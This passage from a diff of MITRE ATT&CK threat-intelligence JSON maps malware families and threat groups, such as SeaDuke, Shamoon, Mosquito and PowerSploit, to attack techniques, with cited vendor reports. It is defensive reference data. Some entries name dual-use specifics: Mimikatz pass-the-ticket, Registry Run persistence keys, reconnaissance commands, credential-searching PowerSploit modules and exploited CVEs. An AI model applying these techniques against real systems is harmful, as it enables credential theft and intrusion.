"[SeaDuke](https://attack.mitre.org/software/S0053) uses a module to execute Mimikatz with PowerShell to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1097).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e", + "external_references": [ + { + "source_name": "Symantec Seaduke 2015", + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ELMER](https://attack.mitre.org/software/S0064) is capable of performing process listings.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--771c349e-1b23-41ea-bcab-59bdbd6c935f", + "external_references": [ + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) attempts to disable UAC remote restrictions by modifying the Registry.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63", + "external_references": [ + { + "source_name": "Palo Alto Shamoon Nov 2016", + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "modified": "2019-04-24T23:59:16.128Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f", + "external_references": [ + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "modified": "2019-04-24T23:41:40.061Z", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell is triggered upon receipt of a packet with a special string, sent to any port.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e795d8ec-a11c-4809-a70a-46aa033fec82", + "external_references": [ + { + "source_name": "Chaos Stolen Backdoor", + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "modified": "2019-05-10T18:57:53.116Z", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "relationship_type": "uses", + "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to list the victim's processes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62f9aa2c-b0c1-4028-a2b8-c436e30ace4b", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.335Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.", + "type": "relationship", + "created": "2017-05-31T21:33:27.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--efbe5efa-6863-4334-90e5-d7caab9806a6", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) base64 encodes strings that are sent to the C2 over its DNS tunnel.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83ac6dba-c74f-4a9e-aba3-3581a67588bf", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "modified": "2019-04-24T23:55:43.226Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects network adapter and interface information by using the commands ipconfig /all, arp -a and route print. It also collects the system's MAC address with getmac and domain configuration with net config workstation.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cfa38151-4972-4355-8071-dd36cb1be880", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) obtains the current user's security identifier.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d219ed2b-2877-450f-9a69-a30f36497d14", + "external_references": [ + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Carbanak](https://attack.mitre.org/software/S0030) malware communicates to its command server using HTTP with an encrypted payload.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--210f5206-8763-48ac-a4c3-a08440892b5d", + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) gathers volume drive information and system information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--32e93dd8-d0df-40d8-b85f-e10e70fc0b8f", + "external_references": [ + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) can delete files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3872901c-9601-413e-bf8a-e2fe35772c71", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.639Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) can record the sounds from microphones on a computer.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--be12c965-ec79-4871-94de-c8421436c30c", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) runs tasklist to obtain running processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9701df31-e2f4-487b-a204-26c4347ef32d", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can install a new service.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4f48744-0564-4ef3-bdae-421076912495", + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "modified": "2019-06-06T19:04:39.234Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) encrypts C2 traffic using RC4 with a static key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--609d3d8c-1995-43ef-a102-a39d668a774d", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) establishes persistence under the Registry key HKCU\\Software\\Run auto_update.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e73d4586-569d-4f32-9468-95777d65770a", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used tools to exploit Windows vulnerabilities in order to escalate privileges. The tools targeted CVE-2013-3660, CVE-2011-2005, and CVE-2010-4398, all of which could allow local users to access kernel-level privileges.", + "type": "relationship", + "created": "2017-05-31T21:33:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74e737cf-67fb-4f80-ac4e-0ddff90b6f8e", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.642Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) stages data it copies from the local system or removable drives in the \"%WINDIR%\\$NtUninstallKB885884$\\\" directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e5728c4d-d404-44e8-9e28-3411942c5234", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) hides collected data in password-protected .rar archives.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df6c39fa-9d95-45ee-911b-0ca2fc167086", + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) has several modules that search the Windows Registry for stored credentials: Get-UnattendedInstallFile, Get-Webconfig, Get-ApplicationHost, Get-SiteListPassword, Get-CachedGPPPassword, and Get-RegistryAutoLogon.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--216b3711-fc70-4029-aaec-a8f021c38bef", + "external_references": [ + { + "source_name": "Pentestlab Stored Credentials", + "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", + "url": "https://pentestlab.blog/2017/04/19/stored-credentials/" + } + ], + "modified": "2019-04-24T23:43:08.068Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers network interface card information.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1993ee53-26a0-4cd1-8a93-5fd578c941fc", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-02-01T14:39:36.315Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can delete files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62eee3f5-f7ab-4029-a690-635452f1def7", + "external_references": [ + { + "source_name": "Symantec Linfo May 2012", + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) searches victim drives for files matching certain extensions (\u201c.skr\u201d,\u201c.pkr\u201d or \u201c.key\u201d) or names.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--03ab3120-4c6e-4de2-982a-fe22d466f748", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The PowerShell script with the [RogueRobin](https://attack.mitre.org/software/S0270) payload was obfuscated using the COMPRESS technique in Invoke-Obfuscation.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80bdb12e-5bf8-4f3c-aaba-185f31a7ad0a", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "GitHub Invoke-Obfuscation", + "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.", + "url": "https://github.com/danielbohannon/Invoke-Obfuscation" + } + ], + "modified": "2019-04-24T23:55:43.229Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Reaver](https://attack.mitre.org/software/S0172) variants use raw TCP for C2.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--67f82f6c-18f1-4f1e-8352-b7ecf8839ea2", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mivast](https://attack.mitre.org/software/S0080) creates the following Registry entry: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Micromedia.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ab3897a-4f37-4b59-99ca-f39605cb1a35", + "external_references": [ + { + "source_name": "Symantec Backdoor.Mivast", + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Orz](https://attack.mitre.org/software/S0229) can gather a process list from the victim.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1fbd687c-3e02-43b8-a160-4319a7d754ac", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) allows adversaries to execute shell commands on the infected host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--84fcda4b-e58e-4ecd-8366-77d464e043ee", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Miner-C](https://attack.mitre.org/software/S0133) copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + 